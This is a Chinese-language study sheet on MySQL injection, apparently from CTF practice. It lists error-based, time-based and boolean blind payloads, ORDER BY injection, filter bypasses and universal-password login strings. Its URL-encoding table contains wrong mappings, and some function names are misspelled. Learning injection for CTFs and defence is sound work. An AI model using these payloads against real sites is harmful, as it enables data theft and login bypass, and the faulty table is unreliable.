基础知识
SELECT version(),
@@version_compile_os,
database(),
user();
substr(str, position, len)
substring(str, position, len)
substring(str FROM position FOR len)
LEFT(str,len)
#substring_index(被截取的字段, 关键字, 关键字出现的次数)
UNION #联合查询
group by # 分组
information_schema
information_schema
是 mysql 自带的一张表,这张数据表保存了 Mysql 服务器所有数据库的信息,如数据库名,数据库的表,表栏的数据类型与访问权限等。该数据库拥有一个名为 tables
的数据表,该表包含两个字段 table_name
和 table_schema
,分别记录 DBMS 中的存储的表名和表名所在的数据库。
SQL 注入之宽字节注入
原理
GBK编码、URL转码 利用mysql的一个特性,mysql在使用GBK编码的时候,会认为两个字符是一个汉字(前一个ASCII码要大于128,才到汉字的范围) 例如:
符号 | 字符 |
---|---|
%2e | \ |
%5c | \ |
%7c | / |
%2f | , |
%20 | white space |
%2c | , |
%27 | ’ |
%22 | " |
%23 | # |
%2a | * |
%28 | ( |
%29 | ) |
%26 | & |
SQL注入之基于约束的注入
原理
超过数据类型长度的部分不会被插进表里,如果不将字段作为唯一字段,可以插入重复的数据。
实例
注册admin + 很多空格 + 1,成功以admin身份登录
SQL注入之报错注入
原理
利用mysql的报错信息,获取有用的数据。只有错误能够回显的时候才可以使用。
实例
可以使用的公式有
and (select 1 from (select count(*),concat(user(),floor(rand(0)*2)x from information_schema.tables group by x)a));
or updatexml(1,concat(0x7e,(version())),0)//最大长度是32位
and extractvalue(1,concat(0x7e,(select database())))
and exp(~(select * from (select user())a));
and updatexml(1,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,41),1)
tips:delete是一行一行操作的,先从第一行,如果id不为2,则会执行updatexml函数。
DESC注入
SQL注入之时间盲注
原理
能够截取字符串,同时触发延时即可
SELECT * FROM table WHERE id = 1 AND (if(SUBSTR(database(),1,1)=' ',sleep(5),null)) SELECT * FROM table WHERE id = 1 AND (if(acsii(substr(database(),1,1))=100,sleep(5),null))
select into user(1,'3' + sleep(3));#会计算'3'+sleep(3),所以sleep函数会执行
实例
1. sleep函数配合if条件使用
select * from user where password='123456';# 假如密码是123456
select * from user where passwod rlike '^1';
select * from user where passwod regexp '^1';
2. 配合select case when 条件触发
SELECT CASE WHEN username='admin' THEN 'xxx' ELSE(sleep(3)) end FROM user;
BENCHMARK
笛卡尔积
让计算变慢,其实就是让运算变多。
select count(*) from usera, userb;
假设usera为
id | vavlue |
---|---|
1 | 1 |
2 | 2 |
userb为
id | vavlue |
---|---|
1 | 1 |
2 | 2 |
3 | 3 |
则结果为2*3=6
GET_LOCK
GET_LOCK(str,timeout)```只有在长连接下才会有效
RLIKE
构造长字符,然后去匹配。
select concat(rpad(1,9999999,'a'),rpad(1,9999999,'a'),···,rpad(1,9999999,'a')) RLIKE '(a.*)+(a.*)+···+(a.*)+b
tip: test website
http://ctf5.shiyanbar.com/web/baocuo/index.php
MySQL IF 函数介绍
MySQL IF function is one of the MySQL control flow functions that returns a value based on a condition. The IF function is sometimes referred to as IF ELSE or IF THEN ELSE function.
语法如下:
IF(expr,if_true_expr,if_false_expr)
如果 expr 为 TRUE,例如 expr 不为空且不为0,那么if函数将返回 if_true_expr , 否则将返回 if_false_expr。IF函数返回的是数字或者字符取决于使用的方式。
SQL注入之bool盲注
原理
利用回显的消息不同,判断输入表达式是否正确。其常用函数与时间盲注基本相同
相关函数
MID(column,start,len)
ORD()#字母转ascii
ASCII()
截取函数
left(str, len)
right(str, len)
SQL注入之order by的注入
使用ORDER BY子句对查询结果按一列或多列排序。
ORDER BY
子句的语法格式为:
ORDER BY {column_name [ASC|DESC]}[,...n]
ORDER BY语句默认按照升序对记录进行排序
在不知道列名的情况下可以通过列的序号来指代相应的列。但是这里无法做运算
当ORDER BY注入能通过返回错误信息是,也可以考虑使用报错注入
根据不同的列排序,会返回不同的结果,也可以使用类似于bool型盲注的形式来注入
ORDER BY后面字段可以通过位运算符(|&^~)来使代码被执行,例如 select * from xxx order by id|(sleep(5))
ORDER BY在括号中时后面可以跟UNION,例如
(select 1,2,3 order by 3 asc)union(select 2,3,4)
符号 | 作用 |
---|---|
& | 按位与 |
| | 按位 或 |
~ | 按位取反 |
^ | 按位异或 |
<< | 按位 左移 |
>> | 按位右移 |
SQL注入之常用绕过
SQL注入绕过技巧
- 空格
/**/ - =
like regexp !(<>)
- ’
- 转义符\
- 16进制(例如:ctf →
0x637466
)
- ,
union
注入使用join
,例如3' union select * from (select 1) a join (select 2 ) b %23
substr from for
if->case when
万能密码
select * from admin where username = '' and password = ''
username | password |
---|---|
admin’# | |
‘+’ | ‘+’ |
aaa’=’ | aaa’=’ |
1\ | '^'1 |
'%1# | |
'=0# |